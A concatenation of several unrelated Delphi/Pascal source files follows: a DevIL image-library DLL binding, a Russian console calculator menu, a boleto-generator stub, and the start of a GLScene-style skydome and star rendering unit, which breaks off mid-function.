ilResetRead: procedure; stdcall;
ilResetWrite: procedure; stdcall;
ilSave: Function(_Type: ILenum; FileName: ILconst_string): ILboolean; stdcall;
ilSaveF: Function(_Type: ILenum; _File: ILHANDLE): ILuint; stdcall;
ilSaveImage: Function(FileName: ILconst_string): ILboolean; stdcall;
ilSaveL: Function(_Type: ILenum; Lump: Pointer; Size: ILuint): ILuint; stdcall;
ilSavePal: Function(FileName: ILconst_string): ILboolean; stdcall;
ilSetAlpha: Function(AlphaValue: ILdouble): ILboolean; stdcall;
ilSetData: Function(Data: Pointer): ILboolean; stdcall;
ilSetDuration: Function(Duration: ILuint): ILboolean; stdcall;
ilSetInteger: procedure(Mode: ILenum; Param: ILint); stdcall;
ilSetMemory: procedure(MemAlloc: mAlloc; MemFree: mFree); stdcall;
ilSetPixels: procedure(XOff,YOff,ZOff: ILint; Width,Height,Depth: ILuint; Format: ILenum; _Type: ILenum; Data: Pointer); stdcall;
ilSetRead: procedure(OpenProc: fOpenRProc; CloseProc: fCloseRProc; EoFProc: fEofProc; GetcProc: fGetcProc; ReadProc: fReadProc; SeekProc: fSeekRProc; TellProc: fTellRProc); stdcall;
ilSetString: procedure(Mode: ILenum; _String: PAnsiChar); stdcall;
ilSetWrite: procedure(OpenProc: fOpenWProc; CloseProc: fCloseWProc; PutcProc: fPutcProc; SeekProc: fSeekWProc; TellProc: fTellWProc; WriteProc: fWriteProc); stdcall;
ilShutDown: procedure; stdcall;
ilSurfaceToDxtcData: Function(Format: ILenum): ILboolean; stdcall;
ilTexImage: Function(Width,Height,Depth: ILuint; NumChannels: ILubyte; Format: ILenum; _Type: ILenum; Data: Pointer): ILboolean; stdcall;
ilTexImageDxtc: Function(w,h,d: ILint; DxtFormat: ILenum; Data: ILubyte_p): ILboolean; stdcall;
ilTypeFromExt: Function(FileName: ILconst_string): ILenum; stdcall;
ilTypeFunc: Function(Mode: ILenum): ILboolean; stdcall;
ilLoadData: Function(FileName: ILconst_string; Width,Height,Depth: ILuint; Bpp: ILubyte): ILboolean; stdcall;
ilLoadDataF: Function(_File: ILHANDLE; Width,Height,Depth: ILuint; Bpp: ILubyte): ILboolean; stdcall;
ilLoadDataL: Function(Lump: Pointer; Size: ILuint; Width,Height,Depth: ILuint; Bpp: ILubyte): ILboolean; stdcall;
ilSaveData: Function(FileName: ILconst_string): ILboolean; stdcall;
// For all those weirdos that spell "colour" without the 'u'.
ilClearColor: procedure(Red,Green,Blue,Alpha: ILclampf); stdcall;
ilKeyColor: procedure(Red,Green,Blue,Alpha: ILclampf); stdcall;
procedure imemclear(var x; y: Integer);
//==============================================================================
const
DevIL_LibFileName = 'DevIL.dll';
Function DevIL_Initialize(const LibPath: String = DevIL_LibFileName; InitLib: Boolean = True): Boolean;
procedure DevIL_Finalize(FinalLib: Boolean = True);
type EILException = class(Exception);
implementation
uses
Windows,
StrRect;
Function IL_LIMIT(x,min,max: Integer): Integer;
begin
If x < min then
Result := min
else If x > max then
Result := max
else
Result := x;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function IL_LIMIT(x,min,max: Int64): Int64;
begin
If x < min then
Result := min
else If x > max then
Result := max
else
Result := x;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function IL_LIMIT(x,min,max: Single): Single;
begin
If x < min then
Result := min
else If x > max then
Result := max
else
Result := x;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function IL_LIMIT(x,min,max: Double): Double;
begin
If x < min then
Result := min
else If x > max then
Result := max
else
Result := x;
end;
//------------------------------------------------------------------------------
Function IL_CLAMP(x: Single): Single;
begin
Result := IL_LIMIT(x,0,1);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function IL_CLAMP(x: Double): Double;
begin
Result := IL_LIMIT(x,0,1);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure imemclear(var x; y: Integer);
begin
FillChar(x,y,0);
end;
//==============================================================================
var
DevIL_LibHandle: THandle = 0;
Function DevIL_Initialize(const LibPath: String = DevIL_LibFileName; InitLib: Boolean = True): Boolean;
Function GetAndCheckProc(const ProcName: String): Pointer;
begin
Result := GetProcAddress(DevIL_LibHandle,PChar(StrToWin(ProcName)));
If not Assigned(Result) then
raise EILException.CreateFmt('DevIL_Initialize:GetAndCheckProc: Address of function "%s" could not be obtained.',[ProcName]);
end;
begin
If DevIL_LibHandle = 0 then
begin
DevIL_LibHandle := LoadLibraryEx(PChar(StrToWin(LibPath)),0,0);
If DevIL_LibHandle <> 0 then
begin
ilActiveFace := GetAndCheckProc('ilActiveFace');
ilActiveImage := GetAndCheckProc('ilActiveImage');
ilActiveLayer := GetAndCheckProc('ilActiveLayer');
ilActiveMipmap := GetAndCheckProc('ilActiveMipmap');
ilApplyPal := GetAndCheckProc('ilApplyPal');
ilApplyProfile := GetAndCheckProc('ilApplyProfile');
ilBindImage := GetAndCheckProc('ilBindImage');
ilBlit := GetAndCheckProc('ilBlit');
ilClampNTSC := GetAndCheckProc('ilClampNTSC');
ilClearColour := GetAndCheckProc('ilClearColour');
ilClearImage := GetAndCheckProc('ilClearImage');
ilCloneCurImage := GetAndCheckProc('ilCloneCurImage');
ilCompressDXT := GetAndCheckProc('ilCompressDXT');
ilCompressFunc := GetAndCheckProc('ilCompressFunc');
ilConvertImage := GetAndCheckProc('ilConvertImage');
ilConvertPal := GetAndCheckProc('ilConvertPal');
ilCopyImage := GetAndCheckProc('ilCopyImage');
ilCopyPixels := GetAndCheckProc('ilCopyPixels');
ilCreateSubImage := GetAndCheckProc('ilCreateSubImage');
ilDefaultImage := GetAndCheckProc('ilDefaultImage');
ilDeleteImage := GetAndCheckProc('ilDeleteImage');
ilDeleteImages := GetAndCheckProc('ilDeleteImages');
ilDetermineType := GetAndCheckProc('ilDetermineType');
ilDetermineTypeF := GetAndCheckProc('ilDetermineTypeF');
ilDetermineTypeL := GetAndCheckProc('ilDetermineTypeL');
ilDisable := GetAndCheckProc('ilDisable');
ilDxtcDataToImage := GetAndCheckProc('ilDxtcDataToImage');
ilDxtcDataToSurface := GetAndCheckProc('ilDxtcDataToSurface');
ilEnable := GetAndCheckProc('ilEnable');
ilFlipSurfaceDxtcData := GetAndCheckProc('_ilFlipSurfaceDxtcData@0'); // dunno...
ilFormatFunc := GetAndCheckProc('ilFormatFunc');
ilGenImages := GetAndCheckProc('ilGenImages');
ilGenImage := GetAndCheckProc('ilGenImage');
ilGetAlpha := GetAndCheckProc('ilGetAlpha');
ilGetBoolean := GetAndCheckProc('ilGetBoolean');
ilGetBooleanv := GetAndCheckProc('ilGetBooleanv');
ilGetData := GetAndCheckProc('ilGetData');
ilGetDXTCData := GetAndCheckProc('ilGetDXTCData');
ilGetError := GetAndCheckProc('ilGetError');
ilGetInteger := GetAndCheckProc('ilGetInteger');
ilGetIntegerv := GetAndCheckProc('ilGetIntegerv');
ilGetLumpPos := GetAndCheckProc('ilGetLumpPos');
ilGetPalette := GetAndCheckProc('ilGetPalette');
ilGetString := GetAndCheckProc('ilGetString');
ilHint := GetAndCheckProc('ilHint');
ilInvertSurfaceDxtcDataAlpha := GetAndCheckProc('_ilInvertSurfaceDxtcDataAlpha@0'); // see ilFlipSurfaceDxtcData
ilInit := GetAndCheckProc('ilInit');
ilImageToDxtcData := GetAndCheckProc('ilImageToDxtcData');
ilIsDisabled := GetAndCheckProc('ilIsDisabled');
ilIsEnabled := GetAndCheckProc('ilIsEnabled');
ilIsImage := GetAndCheckProc('ilIsImage');
ilIsValid := GetAndCheckProc('ilIsValid');
ilIsValidF := GetAndCheckProc('ilIsValidF');
ilIsValidL := GetAndCheckProc('ilIsValidL');
ilKeyColour := GetAndCheckProc('ilKeyColour');
ilLoad := GetAndCheckProc('ilLoad');
ilLoadF := GetAndCheckProc('ilLoadF');
ilLoadImage := GetAndCheckProc('ilLoadImage');
ilLoadL := GetAndCheckProc('ilLoadL');
ilLoadPal := GetAndCheckProc('ilLoadPal');
ilModAlpha := GetAndCheckProc('ilModAlpha');
ilOriginFunc := GetAndCheckProc('ilOriginFunc');
ilOverlayImage := GetAndCheckProc('ilOverlayImage');
ilPopAttrib := GetAndCheckProc('ilPopAttrib');
ilPushAttrib := GetAndCheckProc('ilPushAttrib');
ilRegisterFormat := GetAndCheckProc('ilRegisterFormat');
ilRegisterLoad := GetAndCheckProc('ilRegisterLoad');
ilRegisterMipNum := GetAndCheckProc('ilRegisterMipNum');
ilRegisterNumFaces := GetAndCheckProc('ilRegisterNumFaces');
ilRegisterNumImages := GetAndCheckProc('ilRegisterNumImages');
ilRegisterOrigin := GetAndCheckProc('ilRegisterOrigin');
ilRegisterPal := GetAndCheckProc('ilRegisterPal');
ilRegisterSave := GetAndCheckProc('ilRegisterSave');
ilRegisterType := GetAndCheckProc('ilRegisterType');
ilRemoveLoad := GetAndCheckProc('ilRemoveLoad');
ilRemoveSave := GetAndCheckProc('ilRemoveSave');
ilResetMemory := GetAndCheckProc('ilResetMemory');
ilResetRead := GetAndCheckProc('ilResetRead');
ilResetWrite := GetAndCheckProc('ilResetWrite');
ilSave := GetAndCheckProc('ilSave');
ilSaveF := GetAndCheckProc('ilSaveF');
ilSaveImage := GetAndCheckProc('ilSaveImage');
ilSaveL := GetAndCheckProc('ilSaveL');
ilSavePal := GetAndCheckProc('ilSavePal');
ilSetAlpha := GetAndCheckProc('ilSetAlpha');
ilSetData := GetAndCheckProc('ilSetData');
ilSetDuration := GetAndCheckProc('ilSetDuration');
ilSetInteger := GetAndCheckProc('ilSetInteger');
ilSetMemory := GetAndCheckProc('ilSetMemory');
ilSetPixels := GetAndCheckProc('ilSetPixels');
ilSetRead := GetAndCheckProc('ilSetRead');
ilSetString := GetAndCheckProc('ilSetString');
ilSetWrite := GetAndCheckProc('ilSetWrite');
ilShutDown := GetAndCheckProc('ilShutDown');
ilSurfaceToDxtcData := GetAndCheckProc('ilSurfaceToDxtcData');
ilTexImage := GetAndCheckProc('ilTexImage');
ilTexImageDxtc := GetAndCheckProc('ilTexImageDxtc');
ilTypeFromExt := GetAndCheckProc('ilTypeFromExt');
ilTypeFunc := GetAndCheckProc('ilTypeFunc');
ilLoadData := GetAndCheckProc('ilLoadData');
ilLoadDataF := GetAndCheckProc('ilLoadDataF');
ilLoadDataL := GetAndCheckProc('ilLoadDataL');
ilSaveData := GetAndCheckProc('ilSaveData');
// aliassed functions
ilClearColor := @ilClearColour;
ilKeyColor := @ilKeyColour;
// all is well if here...
If InitLib then
ilInit
else
Result := True;
end
else Result := False;
end
else Result := True;
end;
//------------------------------------------------------------------------------
procedure DevIL_Finalize(FinalLib: Boolean = True);
begin
If DevIL_LibHandle <> 0 then
begin
If FinalLib then
ilShutDown;
FreeLibrary(DevIL_LibHandle);
DevIL_LibHandle := 0;
end;
end;
end.
|
unit Calc1;
interface
const
max = 10;
procedure menu;{Меню Обычного калькулятора}
implementation
uses
crt, Slozhenie, Vichitanie, Umnozhenie, Delenie, KorenChisla, ChislovStepeni, KvadratChisla, Inform;{Подключаем модуль crt}
procedure menu;{Меню Обычного калькулятора}
var
menuu: array[1..max] of string := ('Выбирете действие: ', 'Сложение', 'Вычитание', 'Умножение', 'Деление', 'Квадрат числа', 'Корень из числа', 'Число "a" в степени "x"', 'Информация', 'Выход');
c: char;
d, i: integer;
a, b: integer;
c1: real;
begin
d := 1;
write(menuu[1]);
while true do
begin
clrscr;
for i := 1 to max do
begin
if d + 1 = i then
begin
textcolor(10);
writeln(' ', menuu[i]);
end
else
begin
textcolor(7);
writeln(menuu[i]);
end;
end;
c := readkey;
case ord(c) of
038:
begin
d := d - 1;
if d < 1 then d := 9;
end;
040:
begin
d := d + 1;
if d > 9 then d := 1;
end;
13:
begin
textcolor(7);
case d of
1: addition(a, b);
2: Subtraction(a, b);
3: Multiplication(a, b);
4: Division(a, b);
5: SquareNum(a);
6: RootNum(a);
7: NumIndegrees(a, b);
8: Information;
9: halt;
end;
end;
end;
end;
end;
end. |
unit uGeradorBoletoACBr;
interface
uses
uGeradorBoleto.Intf, uBoleto.Intf;
type
TGeradorBoletoACBr = class(TInterfacedObject, IGeradorBoleto)
public
function GerarBoleto(pBoleto: IBoleto): string;
end;
implementation
{ TGeradorBoletoACBr }
uses
uContainerDefault;
function TGeradorBoletoACBr.GerarBoleto(pBoleto: IBoleto): string;
begin
Result := 'Este é um boleto gerado pelo ACBr onde o(a) ' + pBoleto.Sacado.Nome + ' vai pagar para ' +
pBoleto.Cedente.Nome;
end;
initialization
TContainer.Default.Registrar<IGeradorBoleto>(
function: IInterface
begin
Result := TGeradorBoletoACBr.Create;
end);
end.
|
//
// VXScene Component Library, based on GLScene http://glscene.sourceforge.net
//
{
Skydome object
}
unit VXS.Skydome;
interface
{$I VXScene.inc}
uses
System.Classes,
System.SysUtils,
System.UITypes,
System.Math,
FMX.Graphics,
VXS.OpenGL,
VXS.Scene,
VXS.VectorGeometry,
VXS.Context,
VXS.State,
VXS.Graphics,
VXS.VectorTypes,
VXS.Color,
VXS.RenderContextInfo;
type
TVXStarRecord = packed record
RA : Word; // x100 builtin factor, degrees
DEC : SmallInt; // x100 builtin factor, degrees
BVColorIndex : Byte; // x100 builtin factor
VMagnitude : Byte; // x10 builtin factor
end;
PVXStarRecord = ^TVXStarRecord;
TVXSkyDomeBand = class(TCollectionItem)
private
FStartAngle: Single;
FStopAngle: Single;
FStartColor: TVXColor;
FStopColor: TVXColor;
FSlices: Integer;
FStacks: Integer;
protected
function GetDisplayName: string; override;
procedure SetStartAngle(const val: Single);
procedure SetStartColor(const val: TVXColor);
procedure SetStopAngle(const val: Single);
procedure SetStopColor(const val: TVXColor);
procedure SetSlices(const val: Integer);
procedure SetStacks(const val: Integer);
procedure OnColorChange(sender: TObject);
public
constructor Create(Collection: TCollection); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
procedure BuildList(var rci: TVXRenderContextInfo);
published
property StartAngle: Single read FStartAngle write SetStartAngle;
property StartColor: TVXColor read FStartColor write SetStartColor;
property StopAngle: Single read FStopAngle write SetStopAngle;
property StopColor: TVXColor read FStopColor write SetStopColor;
property Slices: Integer read FSlices write SetSlices default 12;
property Stacks: Integer read FStacks write SetStacks default 1;
end;
TVXSkyDomeBands = class(TCollection)
protected
owner: TComponent;
function GetOwner: TPersistent; override;
procedure SetItems(index: Integer; const val: TVXSkyDomeBand);
function GetItems(index: Integer): TVXSkyDomeBand;
public
constructor Create(AOwner: TComponent);
function Add: TVXSkyDomeBand;
function FindItemID(ID: Integer): TVXSkyDomeBand;
property Items[index: Integer]: TVXSkyDomeBand read GetItems write SetItems;
default;
procedure NotifyChange;
procedure BuildList(var rci: TVXRenderContextInfo);
end;
TVXSkyDomeStar = class(TCollectionItem)
private
FRA, FDec: Single;
FMagnitude: Single;
FColor: TColor;
FCacheCoord: TAffineVector; // cached cartesian coordinates
protected
function GetDisplayName: string; override;
public
constructor Create(Collection: TCollection); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
published
{ Right Ascension, in degrees. }
property RA: Single read FRA write FRA;
{ Declination, in degrees. }
property Dec: Single read FDec write FDec;
{ Absolute magnitude. }
property Magnitude: Single read FMagnitude write FMagnitude;
{ Color of the star. }
property Color: TColor read FColor write FColor;
end;
TVXSkyDomeStars = class(TCollection)
protected
owner: TComponent;
function GetOwner: TPersistent; override;
procedure SetItems(index: Integer; const val: TVXSkyDomeStar);
function GetItems(index: Integer): TVXSkyDomeStar;
procedure PrecomputeCartesianCoordinates;
public
constructor Create(AOwner: TComponent);
function Add: TVXSkyDomeStar;
function FindItemID(ID: Integer): TVXSkyDomeStar;
property Items[index: Integer]: TVXSkyDomeStar read GetItems write SetItems; default;
procedure BuildList(var rci: TVXRenderContextInfo; twinkle: Boolean);
{ Adds nb random stars of the given color.
Stars are homogenously scattered on the complete sphere, not only the band defined or visible dome. }
procedure AddRandomStars(const nb: Integer; const color: TColor; const limitToTopDome: Boolean = False); overload;
procedure AddRandomStars(const nb: Integer; const ColorMin, ColorMax:TVector3b; const Magnitude_min, Magnitude_max: Single;const limitToTopDome: Boolean = False); overload;
{ Load a 'stars' file, which is made of TVXStarRecord.
Not that '.stars' files should already be sorted by magnitude and color. }
procedure LoadStarsFile(const starsFileName: string);
end;
TVXSkyDomeOption = (sdoTwinkle);
TVXSkyDomeOptions = set of TVXSkyDomeOption;
{ Renders a sky dome always centered on the camera.
If you use this object make sure it is rendered *first*, as it ignores
depth buffering and overwrites everything. All children of a skydome
are rendered in the skydome's coordinate system.
The skydome is described by "bands", each "band" is an horizontal cut
of a sphere, and you can have as many bands as you wish.
Estimated CPU cost (K7-500, GeForce SDR, default bands):
800x600 fullscreen filled: 4.5 ms (220 FPS, worst case)
Geometry cost (0% fill): 0.7 ms (1300 FPS, best case) }
TVXSkyDome = class(TVXCameraInvariantObject)
private
FOptions: TVXSkyDomeOptions;
FBands: TVXSkyDomeBands;
FStars: TVXSkyDomeStars;
protected
procedure SetBands(const val: TVXSkyDomeBands);
procedure SetStars(const val: TVXSkyDomeStars);
procedure SetOptions(const val: TVXSkyDomeOptions);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
procedure BuildList(var rci: TVXRenderContextInfo); override;
published
property Bands: TVXSkyDomeBands read FBands write SetBands;
property Stars: TVXSkyDomeStars read FStars write SetStars;
property Options: TVXSkyDomeOptions read FOptions write SetOptions default [];
end;
TEarthSkydomeOption = (esoFadeStarsWithSun, esoRotateOnTwelveHours, esoDepthTest);
TEarthSkydomeOptions = set of TEarthSkydomeOption;
{ Render a skydome like what can be seen on earth.
Color is based on sun position and turbidity, to "mimic" atmospheric
Rayleigh and Mie scatterings. The colors can be adjusted to render
weird/extra-terrestrial atmospheres too.
The default slices/stacks values make for an average quality rendering,
for a very clean rendering, use 64/64 (more is overkill in most cases).
The complexity is quite high though, making a T&L 3D board a necessity
for using TVXEarthSkyDome. }
TVXEarthSkyDome = class(TVXSkyDome)
private
FSunElevation: Single;
FTurbidity: Single;
FCurSunColor, FCurSkyColor, FCurHazeColor: TColorVector;
FCurHazeTurbid, FCurSunSkyTurbid: Single;
FSunZenithColor: TVXColor;
FSunDawnColor: TVXColor;
FHazeColor: TVXColor;
FSkyColor: TVXColor;
FNightColor: TVXColor;
FDeepColor: TVXColor;
FSlices, FStacks: Integer;
FExtendedOptions: TEarthSkydomeOptions;
FMorning: boolean;
protected
procedure Loaded; override;
procedure SetSunElevation(const val: Single);
procedure SetTurbidity(const val: Single);
procedure SetSunZenithColor(const val: TVXColor);
procedure SetSunDawnColor(const val: TVXColor);
procedure SetHazeColor(const val: TVXColor);
procedure SetSkyColor(const val: TVXColor);
procedure SetNightColor(const val: TVXColor);
procedure SetDeepColor(const val: TVXColor);
procedure SetSlices(const val: Integer);
procedure SetStacks(const val: Integer);
procedure OnColorChanged(Sender: TObject);
procedure PreCalculate;
procedure RenderDome;
function CalculateColor(const theta, cosGamma: Single): TColorVector;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
procedure BuildList(var rci: TVXRenderContextInfo); override;
procedure SetSunAtTime(HH, MM: Single);
published
{ Elevation of the sun, measured in degrees. }
property SunElevation: Single read FSunElevation write SetSunElevation;
{ Expresses the purity of air. Value range is from 1 (pure atmosphere) to 120 (very nebulous) }
property Turbidity: Single read FTurbidity write SetTurbidity;
property SunZenithColor: TVXColor read FSunZenithColor write SetSunZenithColor;
property SunDawnColor: TVXColor read FSunDawnColor write SetSunDawnColor;
property HazeColor: TVXColor read FHazeColor write SetHazeColor;
property SkyColor: TVXColor read FSkyColor write SetSkyColor;
property NightColor: TVXColor read FNightColor write SetNightColor;
property DeepColor: TVXColor read FDeepColor write SetDeepColor;
property ExtendedOptions: TEarthSkydomeOptions read FExtendedOptions write FExtendedOptions;
property Slices: Integer read FSlices write SetSlices default 24;
property Stacks: Integer read FStacks write SetStacks default 48;
end;
{ Computes position on the unit sphere of a star record (Z=up). }
function StarRecordPositionZUp(const starRecord : TVXStarRecord) : TAffineVector;
{ Computes position on the unit sphere of a star record (Y=up). }
function StarRecordPositionYUp(const starRecord : TVXStarRecord) : TAffineVector;
{ Computes star color from BV index (RGB) and magnitude (alpha). }
function StarRecordColor(const starRecord : TVXStarRecord; bias : Single) : TVector;
// ------------------------------------------------------------------
implementation
// ------------------------------------------------------------------
function StarRecordPositionYUp(const starRecord : TVXStarRecord) : TAffineVector;
var
f : Single;
begin
SinCosine(starRecord.DEC*(0.01*PI/180), Result.Y, f);
SinCosine(starRecord.RA*(0.01*PI/180), f, Result.X, Result.Z);
end;
function StarRecordPositionZUp(const starRecord : TVXStarRecord) : TAffineVector;
var
f : Single;
begin
SinCosine(starRecord.DEC*(0.01*PI/180), Result.Z, f);
SinCosine(starRecord.RA*(0.01*PI/180), f, Result.X, Result.Y);
end;
function StarRecordColor(const starRecord : TVXStarRecord; bias : Single) : TVector;
const
// very *rough* approximation
cBVm035 : TVector = (X:0.7; Y:0.8; Z:1.0; W:1);
cBV015 : TVector = (X:1.0; Y:1.0; Z:1.0; W:1);
cBV060 : TVector = (X:1.0; Y:1.0; Z:0.7; W:1);
cBV135 : TVector = (X:1.0; Y:0.8; Z:0.7; W:1);
var
bvIndex100 : Integer;
begin
bvIndex100:=starRecord.BVColorIndex-50;
// compute RGB color for B&V index
if bvIndex100<-035 then
Result:=cBVm035
else if bvIndex100<015 then
VectorLerp(cBVm035, cBV015, (bvIndex100+035)*(1/(015+035)), Result)
else if bvIndex100<060 then
VectorLerp(cBV015, cBV060, (bvIndex100-015)*(1/(060-015)), Result)
else if bvIndex100<135 then
VectorLerp(cBV060, cBV135, (bvIndex100-060)*(1/(135-060)), Result)
else Result:=cBV135;
// compute transparency for VMag
// the actual factor is 2.512, and not used here
Result.W:=PowerSingle(1.2, -(starRecord.VMagnitude*0.1-bias));
end;
// ------------------
// ------------------ TVXSkyDomeBand ------------------
// ------------------
constructor TVXSkyDomeBand.Create(Collection: TCollection);
begin
inherited Create(Collection);
FStartColor := TVXColor.Create(Self);
FStartColor.Initialize(clrBlue);
FStartColor.OnNotifyChange := OnColorChange;
FStopColor := TVXColor.Create(Self);
FStopColor.Initialize(clrBlue);
FStopColor.OnNotifyChange := OnColorChange;
FSlices := 12;
FStacks := 1;
end;
destructor TVXSkyDomeBand.Destroy;
begin
FStartColor.Free;
FStopColor.Free;
inherited Destroy;
end;
procedure TVXSkyDomeBand.Assign(Source: TPersistent);
begin
if Source is TVXSkyDomeBand then
begin
FStartAngle := TVXSkyDomeBand(Source).FStartAngle;
FStopAngle := TVXSkyDomeBand(Source).FStopAngle;
FStartColor.Assign(TVXSkyDomeBand(Source).FStartColor);
FStopColor.Assign(TVXSkyDomeBand(Source).FStopColor);
FSlices := TVXSkyDomeBand(Source).FSlices;
FStacks := TVXSkyDomeBand(Source).FStacks;
end;
inherited Destroy;
end;
function TVXSkyDomeBand.GetDisplayName: string;
begin
Result := Format('%d: %.1f° - %.1f°', [Index, StartAngle, StopAngle]);
end;
procedure TVXSkyDomeBand.SetStartAngle(const val: Single);
begin
FStartAngle := ClampValue(val, -90, 90);
if FStartAngle > FStopAngle then FStopAngle := FStartAngle;
TVXSkyDomeBands(Collection).NotifyChange;
end;
procedure TVXSkyDomeBand.SetStartColor(const val: TVXColor);
begin
FStartColor.Assign(val);
end;
procedure TVXSkyDomeBand.SetStopAngle(const val: Single);
begin
FStopAngle := ClampValue(val, -90, 90);
if FStopAngle < FStartAngle then
FStartAngle := FStopAngle;
TVXSkyDomeBands(Collection).NotifyChange;
end;
procedure TVXSkyDomeBand.SetStopColor(const val: TVXColor);
begin
FStopColor.Assign(val);
end;
procedure TVXSkyDomeBand.SetSlices(const val: Integer);
begin
if val < 3 then
FSlices := 3
else
FSlices := val;
TVXSkyDomeBands(Collection).NotifyChange;
end;
procedure TVXSkyDomeBand.SetStacks(const val: Integer);
begin
if val < 1 then
FStacks := 1
else
FStacks := val;
TVXSkyDomeBands(Collection).NotifyChange;
end;
procedure TVXSkyDomeBand.OnColorChange(sender: TObject);
begin
TVXSkyDomeBands(Collection).NotifyChange;
end;
procedure TVXSkyDomeBand.BuildList(var rci: TVXRenderContextInfo);
// coordinates system note: X is forward, Y is left and Z is up
// always rendered as sphere of radius 1
procedure RenderBand(start, stop: Single; const colStart, colStop:
TColorVector);
var
i: Integer;
f, r, r2: Single;
vertex1, vertex2: TVector;
begin
vertex1.W := 1;
if start = -90 then
begin
// triangle fan with south pole
glBegin(GL_TRIANGLE_FAN);
glColor4fv(@colStart);
glVertex3f(0, 0, -1);
f := 2 * PI / Slices;
SinCosine(DegToRadian(stop), vertex1.Z, r);
glColor4fv(@colStop);
for i := 0 to Slices do
begin
SinCosine(i * f, r, vertex1.Y, vertex1.X);
glVertex4fv(@vertex1);
end;
glEnd;
end
else if stop = 90 then
begin
// triangle fan with north pole
glBegin(GL_TRIANGLE_FAN);
glColor4fv(@colStop);
glVertex3fv(@ZHmgPoint);
f := 2 * PI / Slices;
SinCosine(DegToRadian(start), vertex1.Z, r);
glColor4fv(@colStart);
for i := Slices downto 0 do
begin
SinCosine(i * f, r, vertex1.Y, vertex1.X);
glVertex4fv(@vertex1);
end;
glEnd;
end
else
begin
vertex2.W := 1;
// triangle strip
glBegin(GL_TRIANGLE_STRIP);
f := 2 * PI / Slices;
SinCosine(DegToRadian(start), vertex1.Z, r);
SinCosine(DegToRadian(stop), vertex2.Z, r2);
for i := 0 to Slices do
begin
SinCosine(i * f, r, vertex1.Y, vertex1.X);
glColor4fv(@colStart);
glVertex4fv(@vertex1);
SinCosine(i * f, r2, vertex2.Y, vertex2.X);
glColor4fv(@colStop);
glVertex4fv(@vertex2);
end;
glEnd;
end;
end;
var
n: Integer;
t, t2: Single;
begin
if StartAngle = StopAngle then
Exit;
for n := 0 to Stacks - 1 do
begin
t := n / Stacks;
t2 := (n + 1) / Stacks;
RenderBand(Lerp(StartAngle, StopAngle, t),
Lerp(StartAngle, StopAngle, t2),
VectorLerp(StartColor.Color, StopColor.Color, t),
VectorLerp(StartColor.Color, StopColor.Color, t2));
end;
end;
// ------------------
// ------------------ TVXSkyDomeBands ------------------
// ------------------
constructor TVXSkyDomeBands.Create(AOwner: TComponent);
begin
Owner := AOwner;
inherited Create(TVXSkyDomeBand);
end;
function TVXSkyDomeBands.GetOwner: TPersistent;
begin
Result := Owner;
end;
procedure TVXSkyDomeBands.SetItems(index: Integer; const val: TVXSkyDomeBand);
begin
inherited Items[index] := val;
end;
function TVXSkyDomeBands.GetItems(index: Integer): TVXSkyDomeBand;
begin
Result := TVXSkyDomeBand(inherited Items[index]);
end;
function TVXSkyDomeBands.Add: TVXSkyDomeBand;
begin
Result := (inherited Add) as TVXSkyDomeBand;
end;
function TVXSkyDomeBands.FindItemID(ID: Integer): TVXSkyDomeBand;
begin
Result := (inherited FindItemID(ID)) as TVXSkyDomeBand;
end;
procedure TVXSkyDomeBands.NotifyChange;
begin
if Assigned(owner) and (owner is TVXBaseSceneObject) then TVXBaseSceneObject(owner).StructureChanged;
end;
procedure TVXSkyDomeBands.BuildList(var rci: TVXRenderContextInfo);
var
i: Integer;
begin
for i := 0 to Count - 1 do Items[i].BuildList(rci);
end;
// ------------------
// ------------------ TVXSkyDomeStar ------------------
// ------------------
constructor TVXSkyDomeStar.Create(Collection: TCollection);
begin
inherited Create(Collection);
end;
destructor TVXSkyDomeStar.Destroy;
begin
inherited Destroy;
end;
procedure TVXSkyDomeStar.Assign(Source: TPersistent);
begin
if Source is TVXSkyDomeStar then
begin
FRA := TVXSkyDomeStar(Source).FRA;
FDec := TVXSkyDomeStar(Source).FDec;
FMagnitude := TVXSkyDomeStar(Source).FMagnitude;
FColor := TVXSkyDomeStar(Source).FColor;
SetVector(FCacheCoord, TVXSkyDomeStar(Source).FCacheCoord);
end;
inherited Destroy;
end;
function TVXSkyDomeStar.GetDisplayName: string;
begin
Result := Format('RA: %5.1f / Dec: %5.1f', [RA, Dec]);
end;
// ------------------
// ------------------ TVXSkyDomeStars ------------------
// ------------------
constructor TVXSkyDomeStars.Create(AOwner: TComponent);
begin
Owner := AOwner;
inherited Create(TVXSkyDomeStar);
end;
function TVXSkyDomeStars.GetOwner: TPersistent;
begin
Result := Owner;
end;
procedure TVXSkyDomeStars.SetItems(index: Integer; const val: TVXSkyDomeStar);
begin
inherited Items[index] := val;
end;
function TVXSkyDomeStars.GetItems(index: Integer): TVXSkyDomeStar;
begin
Result := TVXSkyDomeStar(inherited Items[index]);
end;
function TVXSkyDomeStars.Add: TVXSkyDomeStar;
begin
Result := (inherited Add) as TVXSkyDomeStar;
end;
function TVXSkyDomeStars.FindItemID(ID: Integer): TVXSkyDomeStar;
begin
Result := (inherited FindItemID(ID)) as TVXSkyDomeStar;
end;
procedure TVXSkyDomeStars.PrecomputeCartesianCoordinates;
var
i: Integer;
star: TVXSkyDomeStar;
raC, raS, decC, decS: Single;
begin
// to be enhanced...
for i := 0 to Count - 1 do
begin
star := Items[i];
SinCosine(star.DEC * cPIdiv180, decS, decC);
SinCosine(star.RA * cPIdiv180, decC, raS, raC);
star.FCacheCoord.X := raC;
star.FCacheCoord.Y := raS;
star.FCacheCoord.Z := decS;
end;
end;
procedure TVXSkyDomeStars.BuildList(var rci: TVXRenderContextInfo; twinkle:
Boolean);
var
i, n: Integer;
star: TVXSkyDomeStar;
lastColor: TColor;
lastPointSize10, pointSize10: Integer;
color, twinkleColor: TColorVector;
procedure DoTwinkle;
begin
if (n and 63) = 0 then
begin
twinkleColor := VectorScale(color, Random * 0.6 + 0.4);
